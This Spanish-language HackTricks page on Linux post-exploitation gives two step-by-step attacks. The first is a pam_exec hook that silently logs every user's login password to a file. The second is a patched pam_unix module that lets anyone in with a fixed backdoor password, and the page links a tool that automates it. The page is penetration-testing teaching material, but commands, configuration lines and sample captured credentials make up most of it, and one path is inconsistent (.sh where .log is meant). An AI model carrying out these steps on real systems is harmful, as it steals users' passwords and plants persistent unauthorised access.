hacktricks/linux-hardening/linux-post-exploitation
2024-02-06 14:25:10 +00:00
..
pam-pluggable-authentication-modules.md Translated ['generic-methodologies-and-resources/search-exploits.md', 'l 2024-02-06 14:25:10 +00:00
README.md Translated ['generic-methodologies-and-resources/search-exploits.md', 'l 2024-02-06 14:25:10 +00:00

Post-Explotación en Linux

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Capturando Contraseñas de Inicio de Sesión con PAM

Configuraremos un módulo PAM para registrar cada contraseña que cada usuario utilice para iniciar sesión. Si no sabes qué es PAM, consulta:

{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}

Primero, creamos un script bash que se invocará cada vez que ocurra una nueva autenticación.

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log

Las variables son específicas de PAM y estarán disponibles a través del módulo pam_exec.so.

Aquí está el significado de las variables:

  • $PAM_USER: El nombre de usuario que se ingresó.
  • $PAM_RHOST: El host remoto (típicamente la dirección IP)
  • $(cat -): Esto lee stdin, y contendrá la contraseña que el script captura
  • Los resultados se redirigen a un archivo de registro en /var/log/toomanysecrets.log

Para evitar que todos los usuarios lean el archivo, considere crearlo previamente y ejecutar chmod, por ejemplo:

sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh

A continuación, es necesario actualizar el archivo de configuración PAM, se utilizará el módulo pam_exec para invocar el script.

Existen varios archivos de configuración ubicados en /etc/pam.d/, y seleccionamos common-auth.

sudo nano /etc/pam.d/common-auth

En la parte inferior del archivo, añade el siguiente módulo de autenticación:

auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh

Los significados de las opciones son los siguientes:

  • optional: La autenticación no fallará si hay un error (no es un paso obligatorio)
  • pam_exec.so: Este es el módulo PAM de "living off the land" que puede invocar scripts arbitrarios
  • expose_authtok: Este es el truco que permite leer la contraseña a través de stdin
  • quiet: No mostrar errores al usuario (si algo no funciona)
  • El último argumento es el script de shell que se creó previamente

Finalmente, haz que el archivo sea ejecutable:

sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Ahora, probemos esto y hagamos ssh desde otra máquina, o inicia sesión localmente.

Y luego, revisa el archivo de registro:

$ sudo cat /var/log/toomanysecrets.log
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149

Instalación de puertas traseras en PAM

Vamos a los fuentes de PAM (depende de tu distribución, toma el mismo número de versión que la tuya..) y busca alrededor de las líneas 170/180 en el archivo pam_unix_auth.c:

vi modules/pam_unix/pam_unix_auth.c

Cambiamos esto por:

Esto permitirá que cualquier usuario que use la contraseña "0xMitsurugi" pueda iniciar sesión.

Recompila el pam_unix_auth.c y reemplaza el archivo pam_unix.so:

make
sudo cp \
/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
/lib/x86_64-linux-gnu/security/

{% hint style="info" %} Puedes automatizar este proceso con https://github.com/zephrax/linux-pam-backdoor {% endhint %}

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: